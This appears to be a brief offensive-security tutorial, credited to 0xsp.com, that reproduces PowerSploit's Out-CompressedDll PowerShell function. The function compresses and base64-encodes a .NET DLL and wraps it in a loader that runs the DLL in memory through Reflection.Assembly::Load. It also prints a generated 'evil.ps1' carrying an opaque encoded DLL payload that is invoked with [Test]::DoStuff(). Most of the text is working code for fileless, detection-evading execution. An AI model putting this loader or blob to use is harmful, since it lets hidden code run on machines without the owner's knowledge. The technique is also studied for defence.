DLL Self Contained in PowerShell

Generated By 0xsp.com

it is possible to load an executable as array of bytes through .NET framework . which could be done if we placed with accurate size of placed dll .

alleviate the required size

Powershell function script will load dll file , compress it , encode it as base64 , so the generate code output we could use it to execute Pure MSIL DLL inside the memory

```
function Out-CompressedDll
{
<#
.SYNOPSIS
Compresses, Base-64 encodes, and outputs generated code to load a managed dll
in memory.
PowerSploit Function: Out-CompressedDll
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None

.DESCRIPTION
Out-CompressedDll outputs code that loads a compressed representation of a
managed dll in memory as a byte array.
.PARAMETER FilePath
Specifies the path to a managed executable.
.EXAMPLE
C:\PS> Out-CompressedDll -FilePath evil.dll
Description
-----------
Compresses, base64 encodes, and outputs the code required to load evil.dll in
memory.
.NOTES
Only pure MSIL-based dlls can be loaded using this technique. Native or IJW
('it just works' - mixed-mode) dlls will not load.
.LINK
http://www.exploit-monday.com/2012/12/in-memory-dll-loading.html
#>

    [CmdletBinding()] Param (
        [Parameter(Mandatory = $True)]
        [String]
        $FilePath
    )

    $Path = Resolve-Path $FilePath
```

```
    if (! [IO.File]::Exists($Path))
    {
        Throw "$Path does not exist."
    }

    $FileBytes = [System.IO.File]::ReadAllBytes($Path)

    if (($FileBytes[0..1] | % {[Char]$_}) -join '' -cne 'MZ')
    {
        Throw "$Path is not a valid executable."
    }

    $Length = $FileBytes.Length
    $CompressedStream = New-Object IO.MemoryStream
    $DeflateStream = New-Object IO.Compression.DeflateStream
($CompressedStream, [IO.Compression.CompressionMode]::Compress)
    $DeflateStream.Write($FileBytes, 0, $FileBytes.Length)
    $DeflateStream.Dispose()
    $CompressedFileBytes = $CompressedStream.ToArray()
    $CompressedStream.Dispose()
    $EncodedCompressedFile = [Convert]::ToBase64String($CompressedFileBytes)

    Write-Verbose "Compression ratio:
$(($EncodedCompressedFile.Length/$FileBytes.Length).ToString('#%'))"

    $Output = @"
`$EncodedCompressedFile = @'
$EncodedCompressedFile
'@
`$DeflatedStream = New-Object
IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String(`$E
ncodedCompressedFile),[IO.Compression.CompressionMode]::Decompress)
`$UncompressedFileBytes = New-Object Byte[]($Length)
`$DeflatedStream.Read(`$UncompressedFileBytes, 0, $Length) | Out-Null
[Reflection.Assembly]::Load(`$UncompressedFileBytes)
"@

    Write-Output $Output
}
```

Generate the DLL Code

```
PS> Out-Compressed file.dll |Out-File evil.ps1
```

after execution of previous script function , a file called evil.ps1 with compressed encoded self contained dll inside the script is Generate as

```
$EncodedCompressedFile = @'
7VXPbxtFFP527aZOSq2UoJIKqaxxKkUFLUaxVBChuIndNCg/rNgNCIGatbNxFta71u64xEigXkBw4
1QhwQFxR+KARFXEH8Ch/wFI5cYBqVfEgfSb2fWP2BbtiQqpz5n35r158+Z7b99M1t/+AgkASY7DQ+
AWIirgwXSDI/3s7TR+mLyTuaWt3clU953QaAV+I7CaRt3yPF8YNdsI2p7heEZxs2I0/V3bPHlyai6
OUS4Ba1oCry7eLnfj3oWeOaGdiEBNRLaNLJnRAzat5nrkAvSlAqVH0wQKn0hX+deXPaHor+eASpzw
l/qYJHeAJx6iFiNEfKkBNUX9yoBuCvtAUFYTka9KYOh8mnfMIAzqiLEVcKQmXaK5YAa269djrDtxr
KkRv6VhmLlsJK+oLcfQ4qGfca/2MDmOoZmcBn45uf8UAvLW1POYOH9Wn2eiU+exVHljSYujS6zX82
bOXMgtvPSKtByDS/4rR/ZjYqLbN3JeEYHjNULp8Qdta9J2tYK8Hn3L7MrV1SJlkbqU2SXXr8V4ZCo
rT+mYlMrf5xZwOsotEZdIH5hrA0MWL5ITmEeG/F28Rv4ROXo+mvpNY0Zhl/OyIe038aLa31Dap7MX
kKZ2ChfwJM5AapOKm6zVM+QzmMPTSN4YruZXGOhsdd5sd7q47u+2XfsihB0Kc9d1UeUEzbDuB65TQ
6UTCruJzdp7dl2g6FdEe28PZl34QbxmbrU94TRtc9lvthzXDip2cN2p2yEigyUc39uyXetAzcJLgp
+h1hY24o3SjUs1x3VEp78qAQErVezDgof32ccd+GhT7lEGlC6lhV04XG9Qb8Iml1o0byq/Dusu6bf
Stze3v/t9+afsL6U/M/d2kPrxw3e2z+Tvfs4vl04Y0JKGpqUSx7V0Sotv3Vn5Mar66TcDq7Xhe6WD
ut2SWVT3A/+DUIOR7Vf1YvdtGUO57LDl2rIfFF133XK8qNq2rcov6fAc40yPBPnfkKbAz0av6BG77
PfcGLsk+Xa8VWBLDrxfi3qefJtv6zXyErY4W8UmNqivkl/mXNLPyXv/jHttXo/lmGdR3XGNUS32yG
V2jcuOWWXvyO6SNKd2Vbkq+y/kugVBP59aRN8nv9ZkjArtQdyFo5EOlE+u98ujJmuAF4hI6/kXOUL
UVZzWkXMMVbPUgO82R0Dvvk+Ot78/wDMm6S8xCOXrEbvLelnqXkBZQ3KTt8dF1HXzCs8aVxrKe5nR
W7w9ElGDt1DEWBZV7M3Y7sSxu9i8fz0jr/Ioc69Pa5v5ipFshnN5We25RI9Q3ekaY3WI5EH7HtN/S
Eb0f7i88KiBPKZHQfcB
'@
$DeflatedStream = New-Object
IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String($En
codedCompressedFile),[IO.Compression.CompressionMode]::Decompress)
$UncompressedFileBytes = New-Object Byte[](3072)
$DeflatedStream.Read($UncompressedFileBytes, 0, 3072) | Out-Null
[Reflection.Assembly]::Load($UncompressedFileBytes)
```

so final step is to add `[Test]::DoStuff()` . and then the execution will be placed in our memory .

Reference

PowerShellMafia/PowerSploit PowerSploit - A PowerShell Post-Exploitation Framework - PowerShellMafia/PowerSploit github.com